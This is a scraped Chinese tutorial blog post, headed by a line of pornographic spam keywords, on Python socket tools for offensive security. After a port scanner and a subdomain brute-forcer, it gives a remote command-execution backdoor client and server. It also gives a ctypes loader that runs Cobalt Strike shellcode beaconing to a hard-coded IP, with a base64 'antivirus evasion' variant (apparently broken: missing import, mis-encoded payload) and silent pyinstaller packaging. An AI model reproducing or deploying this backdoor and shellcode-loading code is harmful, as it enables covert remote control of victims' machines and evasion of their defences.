国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

2、安全開發(fā)-Python-Socket編程&端口探針&域名爆破&反彈Shell&編碼免殺

這篇具有很好參考價(jià)值的文章主要介紹了2、安全開發(fā)-Python-Socket編程&端口探針&域名爆破&反彈Shell&編碼免殺。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

用途:個(gè)人學(xué)習(xí)筆記,歡迎指正!

目錄

主要內(nèi)容:

一、端口掃描(未開防火墻情況)

1、Python關(guān)鍵代碼:

2、完整代碼:多線程配合Queue進(jìn)行全端口掃描

二、子域名掃描

三、客戶端,服務(wù)端Socket編程通信cmd命令執(zhí)行

1、客戶端:

2、服務(wù)端:

四、python代碼shellCode編碼免殺&后門上線

1、CS生成shellcode?

2、python未編碼:? 二進(jìn)制shellcode執(zhí)行,CS上線代碼

3、將shellcode進(jìn)行base64編碼,然后解碼運(yùn)行

4、pyinstaller打包腳本,#cmd命令


主要內(nèi)容:

python-Socket編程:主要對端口掃描、子域名掃描、客戶端服務(wù)端通信等腳本簡單實(shí)現(xiàn),python打包工具pyinsaller使用,以及python代碼執(zhí)行shellcode-CS上線。

一、端口掃描(未開防火墻情況)

1、Python關(guān)鍵代碼:

s = socket.socket()
s.connect((ip,port)) #判斷端口是否開放,如果開放則能連接成功

2、完整代碼:多線程配合Queue進(jìn)行全端口掃描

import socket,sys,threading,queue

#端口掃描
#獲取掃描的IP和端口
#連接IP和端口(socket)
#判斷連接狀態(tài)-開放和關(guān)閉

def port_scan(ip):
    while not q.empty():
        port=q.get()
        s=socket.socket()
        try:
            s.connect((ip,port))
            print(ip+":"+str(port)+':open')
        except Exception as e:
            pass
            #print(str(port)+':close')
        finally:
            s.close()

if __name__ == '__main__':
    #自定義端口掃描
    #ports=input('please input scan ports(eg:135,80,445):')
    #ip=input('please input scan ip:')
    ip=sys.argv[1]   #接收IP
    th_nums = sys.argv[2]  #接收線程數(shù)

    #全端口掃描
    q=queue.Queue()
    for port in range(1,65536):
        q.put(port)

    for th_num in range(int(th_nums)):
        t = threading.Thread(target=port_scan,args=(ip,))
        t.start()

二、子域名掃描

1、Python關(guān)鍵代碼:

ip = socket.gethostbyname(urls) ? //判斷域名是否存在,如果存在則能獲取到ip

2、完整代碼: 子域名掃描

import socket
#通過域名解析IP
#域名存在 IP就有 不存在就沒有 報(bào)錯(cuò)
#dic.txt字典保存隨機(jī)字符的組合,用于拼接URL進(jìn)行掃描
def subDomain_scan(url):
    for u in open('dic.txt'):
        urls=(u+'.'+url).replace('\n','')
        #print(urls)
        try:
            ip=socket.gethostbyname(urls)
            print(urls+"|"+ip)
        except Exception as e:
            pass

if __name__ == '__main__':
    url=input('please input scan url:')
    subDomain_scan(url)

三、客戶端,服務(wù)端Socket編程通信cmd命令執(zhí)行

s=os.popen(cmdLine).read()? ? ?#python代碼執(zhí)行cmd命令
pyinstaller --onefile --noconsole your_script.py ? #cmd命令:pyinstaller打包

1、客戶端:

import socket,os

host = "127.0.0.1" 
port = 6665   
if __name__ == '__main__':
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    client.connect((host,port))
    while True:
        # cmdLine = input("please input cmdLine:")
        # client.send(cmdLine.encode('utf-8'))
        try:
            cmdLine = client.recv(4096).decode('utf-8')
            result = os.popen(cmdLine).read()
            client.send(result.encode('utf-8'))
        except Exception as e:
            pass

2、服務(wù)端:

import socket,os

bind_ip = "0.0.0.0"
bind_port = 6665

if __name__ == '__main__':
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((bind_ip, bind_port))
    server.listen(5)
    while True:
        client,addr = server.accept()
        print(str(addr)+"上線了!")
        while True:
            cmdLine = input("please input cmdLine:")
            client.send(cmdLine.encode('utf-8'))
            result = client.recv(4096).decode('utf-8')
            print(str(addr) + "執(zhí)行命令-----》" + cmdLine)
            print(result)

            # result = os.popen(cmdLine).read()
            # client.send(result.encode('utf-8'))

四、python代碼shellCode編碼免殺&后門上線

前提:

1、python版本與shellcodes生成位數(shù)一致
2、amd inter cpu型號(hào)要和python版本一致

1、CS生成shellcode?

python socket 編碼,Python,python,網(wǎng)絡(luò)安全

2、python未編碼:? 二進(jìn)制shellcode執(zhí)行,CS上線代碼

import ctypes

#shellcode由CS生成
shellcode = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x0a\x1a\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x44\x51\x56\x71\x00\xda\xae\x91\xc9\x39\x2e\xdb\x7b\x3e\x41\x32\xf3\xae\x10\x3e\x67\x6e\x64\xd7\x56\x13\x45\x9f\x2d\xed\xb2\x32\x93\xbb\x9e\xed\x17\x5a\xa3\x17\xc4\x34\xfb\x77\xc8\x9b\xa8\x1d\x83\xd1\xf1\x0c\xfe\xed\x59\x79\x27\x30\xf4\x80\x75\x6e\xaa\x25\x28\xbc\xfc\xb7\x68\x15\xbd\x16\x6d\x86\xdf\x6f\x4a\x7b\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x3b\x20\x42\x4f\x49\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\xba\x79\x54\xdc\x1e\xdf\x51\x79\x3c\x5f\xb4\xe2\x52\x59\x4c\xbc\x57\xc9\x8e\x9f\x59\x4c\x62\x7a\x7c\x2f\xab\x27\x00\xef\x84\xd2\xb1\xc4\x19\xdf\x73\xec\x25\x1e\xf6\xfc\x89\x2b\x7f\x9e\xc5\xdb\x6c\xac\x73\x8a\xfd\x6c\x94\x9f\xeb\x18\xb5\x42\xcb\x1b\xc1\xed\x8e\xd4\x6e\x96\x8d\x13\x0e\x0d\x8f\x51\x68\x3a\xa6\x24\xcb\xc5\x1f\xde\x15\x7e\xa7\xbc\x32\x8a\xcd\x09\x19\x65\x2e\x32\xc9\x4a\xe2\xdb\x47\x44\x37\x61\x56\xde\xf5\x0f\x32\x7a\xdc\x12\x20\xb3\x08\x63\x34\x6e\x41\x99\xf7\x78\x1d\xb0\xc5\x73\x64\xb6\xad\x46\x91\xc6\x84\x14\xbd\x38\xbe\x80\x87\x8c\x9f\xec\xc9\xb0\x65\x23\xf5\x3a\x14\x25\x90\x3a\x4a\x77\x4a\xaf\x3b\xf5\x43\x3f\xe7\x6f\x10\xdd\x5e\xc7\xc6\x4f\x20\x48\x1a\xc0\x24\x6f\x28\xb1\x62\x75\x1b\xa9\x36\xba\xd9\xfe\xac\xe9\xc5\xa8\x94\x56\x9b\xdf\x4b\xd6\x8a\x05\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x33\x39\x2e\x31\x33\x30\x00\x17\x50\x65\xea"

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、將shellcode進(jìn)行base64編碼,然后解碼運(yùn)行

import ctypes

#shellcode的base64編碼值
buf = b"XHhmY1x4ZThceDg5XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx4MmNceDIwXHhjMVx4Y2ZceDBkXHgwMVx4YzdceGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHgwMVx4ZDBceDhiXHg0MFx4NzhceDg1XHhjMFx4NzRceDRhXHgwMVx4ZDBceDUwXHg4Ylx4NDhceDE4XHg4Ylx4NThceDIwXHgwMVx4ZDNceGUzXHgzY1x4NDlceDhiXHgzNFx4OGJceDAxXHhkNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4YzdceDM4XHhlMFx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NThceDI0XHgwMVx4ZDNceDY2XHg4Ylx4MGNceDRiXHg4Ylx4NThceDFjXHgwMVx4ZDNceDhiXHgwNFx4OGJceDAxXHhkMFx4ODlceDQ0XHgyNFx4MjRceDViXHg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhlMFx4NThceDVmXHg1YVx4OGJceDEyXHhlYlx4ODZceDVkXHg2OFx4NmVceDY1XHg3NFx4MDBceDY4XHg3N1x4NjlceDZlXHg2OVx4NTRceDY4XHg0Y1x4NzdceDI2XHgwN1x4ZmZceGQ1XHgzMVx4ZmZceDU3XHg1N1x4NTdceDU3XHg1N1x4NjhceDNhXHg1Nlx4NzlceGE3XHhmZlx4ZDVceGU5XHg4NFx4MDBceDAwXHgwMFx4NWJceDMxXHhjOVx4NTFceDUxXHg2YVx4MDNceDUxXHg1MVx4NjhceDBhXHgxYVx4MDBceDAwXHg1M1x4NTBceDY4XHg1N1x4ODlceDlmXHhjNlx4ZmZceGQ1XHhlYlx4NzBceDViXHgzMVx4ZDJceDUyXHg2OFx4MDBceDAyXHg0MFx4ODRceDUyXHg1Mlx4NTJceDUzXHg1Mlx4NTBceDY4XHhlYlx4NTVceDJlXHgzYlx4ZmZceGQ1XHg4OVx4YzZceDgzXHhjM1x4NTBceDMxXHhmZlx4NTdceDU3XHg2YVx4ZmZceDUzXHg1Nlx4NjhceDJkXHgwNlx4MThceDdiXHhmZlx4ZDVceDg1XHhjMFx4MGZceDg0XHhjM1x4MDFceDAwXHgwMFx4MzFceGZmXHg4NVx4ZjZceDc0XHgwNFx4ODlceGY5XHhlYlx4MDlceDY4XHhhYVx4YzVceGUyXHg1ZFx4ZmZceGQ1XHg4OVx4YzFceDY4XHg0NVx4MjFceDVlXHgzMVx4ZmZceGQ1XHgzMVx4ZmZceDU3XHg2YVx4MDdceDUxXHg1Nlx4NTBceDY4XHhiN1x4NTdceGUwXHgwYlx4ZmZceGQ1XHhiZlx4MDBceDJmXHgwMFx4MDBceDM5XHhjN1x4NzRceGI3XHgzMVx4ZmZceGU5XHg5MVx4MDFceDAwXHgwMFx4ZTlceGM5XHgwMVx4MDBceDAwXHhlOFx4OGJceGZmXHhmZlx4ZmZceDJmXHg0NFx4NTFceDU2XHg3MVx4MDBceGRhXHhhZVx4OTFceGM5XHgzOVx4MmVceGRiXHg3Ylx4M2VceDQxXHgzMlx4ZjNceGFlXHgxMFx4M2VceDY3XHg2ZVx4NjRceGQ3XHg1Nlx4MTNceDQ1XHg5Zlx4MmRceGVkXHhiMlx4MzJceDkzXHhiYlx4OWVceGVkXHgxN1x4NWFceGEzXHgxN1x4YzRceDM0XHhmYlx4NzdceGM4XHg5Ylx4YThceDFkXHg4M1x4ZDFceGYxXHgwY1x4ZmVceGVkXHg1OVx4NzlceDI3XHgzMFx4ZjRceDgwXHg3NVx4NmVceGFhXHgyNVx4MjhceGJjXHhmY1x4YjdceDY4XHgxNVx4YmRceDE2XHg2ZFx4ODZceGRmXHg2Zlx4NGFceDdiXHgwMFx4NTVceDczXHg2NVx4NzJceDJkXHg0MVx4NjdceDY1XHg2ZVx4NzRceDNhXHgyMFx4NGRceDZmXHg3YVx4NjlceDZjXHg2Y1x4NjFceDJmXHgzNFx4MmVceDMwXHgyMFx4MjhceDYzXHg2Zlx4NmRceDcwXHg2MVx4NzRceDY5XHg2Mlx4NmNceDY1XHgzYlx4MjBceDRkXHg1M1x4NDlceDQ1XHgyMFx4MzhceDJlXHgzMFx4M2JceDIwXHg1N1x4NjlceDZlXHg2NFx4NmZceDc3XHg3M1x4MjBceDRlXHg1NFx4MjBceDM1XHgyZVx4MzFceDNiXHgyMFx4NTRceDcyXHg2OVx4NjRceDY1XHg2ZVx4NzRceDJmXHgzNFx4MmVceDMwXHgzYlx4MjBceDJlXHg0ZVx4NDVceDU0XHgyMFx4NDNceDRjXHg1Mlx4MjBceDMxXHgyZVx4MzFceDJlXHgzNFx4MzNceDMyXHgzMlx4M2JceDIwXHg0Mlx4NGZceDQ5XHg0NVx4MzhceDNiXHg0NVx4NGVceDU1XHg1M1x4MjlceDBkXHgwYVx4MDBceGJhXHg3OVx4NTRceGRjXHgxZVx4ZGZceDUxXHg3OVx4M2NceDVmXHhiNFx4ZTJceDUyXHg1OVx4NGNceGJjXHg1N1x4YzlceDhlXHg5Zlx4NTlceDRjXHg2Mlx4N2FceDdjXHgyZlx4YWJceDI3XHgwMFx4ZWZceDg0XHhkMlx4YjFceGM0XHgxOVx4ZGZceDczXHhlY1x4MjVceDFlXHhmNlx4ZmNceDg5XHgyYlx4N2ZceDllXHhjNVx4ZGJceDZjXHhhY1x4NzNceDhhXHhmZFx4NmNceDk0XHg5Zlx4ZWJceDE4XHhiNVx4NDJceGNiXHgxYlx4YzFceGVkXHg4ZVx4ZDRceDZlXHg5Nlx4OGRceDEzXHgwZVx4MGRceDhmXHg1MVx4NjhceDNhXHhhNlx4MjRceGNiXHhjNVx4MWZceGRlXHgxNVx4N2VceGE3XHhiY1x4MzJceDhhXHhjZFx4MDlceDE5XHg2NVx4MmVceDMyXHhjOVx4NGFceGUyXHhkYlx4NDdceDQ0XHgzN1x4NjFceDU2XHhkZVx4ZjVceDBmXHgzMlx4N2FceGRjXHgxMlx4MjBceGIzXHgwOFx4NjNceDM0XHg2ZVx4NDFceDk5XHhmN1x4NzhceDFkXHhiMFx4YzVceDczXHg2NFx4YjZceGFkXHg0Nlx4OTFceGM2XHg4NFx4MTRceGJkXHgzOFx4YmVceDgwXHg4N1x4OGNceDlmXHhlY1x4YzlceGIwXHg2NVx4MjNceGY1XHgzYVx4MTRceDI1XHg5MFx4M2FceDRhXHg3N1x4NGFceGFmXHgzYlx4ZjVceDQzXHgzZlx4ZTdceDZmXHgxMFx4ZGRceDVlXHhjN1x4YzZceDRmXHgyMFx4NDhceDFhXHhjMFx4MjRceDZmXHgyOFx4YjFceDYyXHg3NVx4MWJceGE5XHgzNlx4YmFceGQ5XHhmZVx4YWNceGU5XHhjNVx4YThceDk0XHg1Nlx4OWJceGRmXHg0Ylx4ZDZceDhhXHgwNVx4MDBceDY4XHhmMFx4YjVceGEyXHg1Nlx4ZmZceGQ1XHg2YVx4NDBceDY4XHgwMFx4MTBceDAwXHgwMFx4NjhceDAwXHgwMFx4NDBceDAwXHg1N1x4NjhceDU4XHhhNFx4NTNceGU1XHhmZlx4ZDVceDkzXHhiOVx4MDBceDAwXHgwMFx4MDBceDAxXHhkOVx4NTFceDUzXHg4OVx4ZTdceDU3XHg2OFx4MDBceDIwXHgwMFx4MDBceDUzXHg1Nlx4NjhceDEyXHg5Nlx4ODlceGUyXHhmZlx4ZDVceDg1XHhjMFx4NzRceGM2XHg4Ylx4MDdceDAxXHhjM1x4ODVceGMwXHg3NVx4ZTVceDU4XHhjM1x4ZThceGE5XHhmZFx4ZmZceGZmXHgzMVx4MzlceDMyXHgyZVx4MzFceDM2XHgzOFx4MmVceDMxXHgzM1x4MzlceDJlXHgzMVx4MzNceDMwXHgwMFx4MTdceDUwXHg2NVx4ZWE="
shellcode = base64.b64decode(buf)  #解碼

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

4、pyinstaller打包腳本,#cmd命令

pyinstaller --onefile --noconsole your_script.py ?文章來源地址http://www.zghlxwxcb.cn/news/detail-836516.html

到了這里,關(guān)于2、安全開發(fā)-Python-Socket編程&端口探針&域名爆破&反彈Shell&編碼免殺的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • python socket編程7 - 使用PyQt6 開發(fā)UI界面新增實(shí)現(xiàn)UDP server和client單機(jī)通訊的例子

    python socket編程7 - 使用PyQt6 開發(fā)UI界面新增實(shí)現(xiàn)UDP server和client單機(jī)通訊的例子

    在第五篇中,簡單實(shí)現(xiàn)了命令行下的 TCP/UDP server和client的單機(jī)通訊。 在第六篇中,實(shí)現(xiàn)了PyQt6開發(fā)界面,TCP協(xié)議實(shí)現(xiàn)的單機(jī)server和client的通訊功能。 這一篇,在第六篇的基礎(chǔ)上,增加了UDP server和client的單機(jī)通訊功能。 1、UDP Server 界面實(shí)現(xiàn)服務(wù)配置和數(shù)據(jù)提供 2、UDP Server封裝

    2024年02月19日
    瀏覽(27)
  • 解決Python Socket UDP端口偵聽線程內(nèi)更新UI界面卡頓、奔潰的問題

    解決Python Socket UDP端口偵聽線程內(nèi)更新UI界面卡頓、奔潰的問題

    ?網(wǎng)絡(luò)讀卡器介紹:WIFI無線網(wǎng)絡(luò)RFID云讀卡器遠(yuǎn)程網(wǎng)絡(luò)開關(guān)物流網(wǎng)NB-IoT4G刷卡閱讀器-淘寶網(wǎng) (taobao.com) ? ?Python使用PyQt5做UI界面,開啟線程偵聽UDP端口,端口接收到網(wǎng)絡(luò)讀卡器的讀卡數(shù)據(jù)后刷新UI界面顯示接收數(shù)據(jù),解析數(shù)據(jù)包信息并向讀卡器發(fā)送顯示文字、驅(qū)動(dòng)讀卡器播報(bào)語

    2024年02月03日
    瀏覽(23)
  • Python之socket編程(53)

    Python之socket編程(53)

    ?小朋友們好,大朋友們好! 我是貓妹,一名愛上Python編程的小學(xué)生。 和貓妹學(xué)Python,一起趣味學(xué)編程。 今日主題 今天的內(nèi)容比較多哦,主要是網(wǎng)絡(luò)編程的一些入門知識(shí)。 這些知識(shí)在互聯(lián)網(wǎng)發(fā)展過程中很重要,貓妹拋磚引玉。 OSI七層模型和TCP/IP四層模型 IP地址和端口 TC

    2024年02月08日
    瀏覽(9)
  • Python Socket網(wǎng)絡(luò)編程

    Python Socket網(wǎng)絡(luò)編程

    目錄 Socket概念 Python Socket編程 發(fā)送接收緩沖? 消息格式定義 ?Socket套接字,一種獨(dú)立于協(xié)議的網(wǎng)絡(luò)編程接口,就是對網(wǎng)絡(luò)中不同主機(jī)上的應(yīng)用進(jìn)程之間進(jìn)行雙向通信的端點(diǎn)。 TCP把連接作為最基本的對象,每一條TCP連接都有兩個(gè)端點(diǎn),這種端點(diǎn)我們叫作套接字(socket)。 IP層

    2024年02月07日
    瀏覽(24)
  • C++開發(fā)基礎(chǔ)之網(wǎng)絡(luò)編程WinSock庫使用詳解TCP/UDP Socket開發(fā)

    Winsock是Windows操作系統(tǒng)提供的用于網(wǎng)絡(luò)編程的API庫。它是Windows Sockets的簡稱,也就是套接字庫。Winsock可以讓開發(fā)人員使用TCP/IP協(xié)議族中的各種協(xié)議,如TCP、UDP等,在Windows平臺(tái)下進(jìn)行網(wǎng)絡(luò)編程。 Winsock提供了一組函數(shù)和數(shù)據(jù)結(jié)構(gòu),這些函數(shù)和數(shù)據(jù)結(jié)構(gòu)可以讓開發(fā)人員創(chuàng)建和管理

    2024年01月23日
    瀏覽(25)
  • Python使用 Twisted 實(shí)現(xiàn) TCP/UDP Socket 編程

    更多文章:?技數(shù)未來 環(huán)境準(zhǔn)備: - 安裝Python:確保你已經(jīng)安裝了Python解釋器。 - 安裝Twisted:可以通過pip命令來安裝Twisted庫,運(yùn)行`pip install twisted`即可。 依賴的類庫: - twisted.internet.protocol:包含了實(shí)現(xiàn)TCP/UDP Socket編程所需的協(xié)議類。 - twisted.internet.reactor:用于處理事件循環(huán)

    2024年02月16日
    瀏覽(20)
  • Python中兩種網(wǎng)絡(luò)編程方式:Socket和HTTP協(xié)議

    本文分享自華為云社區(qū)《Python網(wǎng)絡(luò)編程實(shí)踐從Socket到HTTP協(xié)議的探索與實(shí)現(xiàn)》,作者:檸檬味擁抱。 在當(dāng)今互聯(lián)網(wǎng)時(shí)代,網(wǎng)絡(luò)編程是程序員不可或缺的一項(xiàng)技能。Python作為一種高級編程語言,提供了豐富的網(wǎng)絡(luò)編程庫,使得開發(fā)者能夠輕松地實(shí)現(xiàn)各種網(wǎng)絡(luò)應(yīng)用。本文將介紹P

    2024年04月16日
    瀏覽(34)
  • Python中的網(wǎng)絡(luò)編程Socket與HTTP協(xié)議的實(shí)踐【第158篇—網(wǎng)絡(luò)編程】

    Python中的網(wǎng)絡(luò)編程Socket與HTTP協(xié)議的實(shí)踐【第158篇—網(wǎng)絡(luò)編程】

    前些天發(fā)現(xiàn)了一個(gè)巨牛的人工智能學(xué)習(xí)網(wǎng)站,通俗易懂,風(fēng)趣幽默,忍不住分享一下給大家?!军c(diǎn)擊進(jìn)入巨牛的人工智能學(xué)習(xí)網(wǎng)站】。 在當(dāng)今互聯(lián)網(wǎng)時(shí)代,網(wǎng)絡(luò)編程是程序員不可或缺的一項(xiàng)技能。Python作為一種高級編程語言,提供了豐富的網(wǎng)絡(luò)編程庫,使得開發(fā)者能夠輕松地

    2024年04月09日
    瀏覽(22)
  • python 學(xué)習(xí)之 socket 庫的基本使用(網(wǎng)絡(luò)編程-套接字)

    python 學(xué)習(xí)之 socket 庫的基本使用(網(wǎng)絡(luò)編程-套接字)

    目錄 一、關(guān)于 socket 的介紹 二、創(chuàng)建套接字對象(Socket 的實(shí)例化) 三、套接字對象方法(Socket 常用函數(shù)) 1、bind 函數(shù) 2、listen 函數(shù) 3、accept 函數(shù) 4、connect 與 connect_ex 函數(shù) 5、send 、?sendall 、sendto 函數(shù) 6、recv 與?recvfrom 函數(shù) 7、close 函數(shù) 三、簡單的服務(wù)端和客戶端示例 四、

    2024年02月20日
    瀏覽(88)
  • Python網(wǎng)絡(luò)編程基礎(chǔ)之ip地址,端口號(hào),TCP,socket

    Python網(wǎng)絡(luò)編程基礎(chǔ)之ip地址,端口號(hào),TCP,socket

    IP地址 IP地址 (Internet Protocol Address)是指互聯(lián)網(wǎng)協(xié)議地址,又譯為網(wǎng)際協(xié)議地址。 IP地址是IP協(xié)議提供的一種統(tǒng)一的地址格式,它為互聯(lián)網(wǎng)上的每一個(gè)網(wǎng)絡(luò)和每一臺(tái)主機(jī)分配一個(gè)邏輯地址,以此來屏蔽物理地址的差異。 換而言之,IP 地址就是標(biāo)識(shí)網(wǎng)絡(luò)中設(shè)備的一個(gè)地址,好比

    2024年02月02日
    瀏覽(22)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包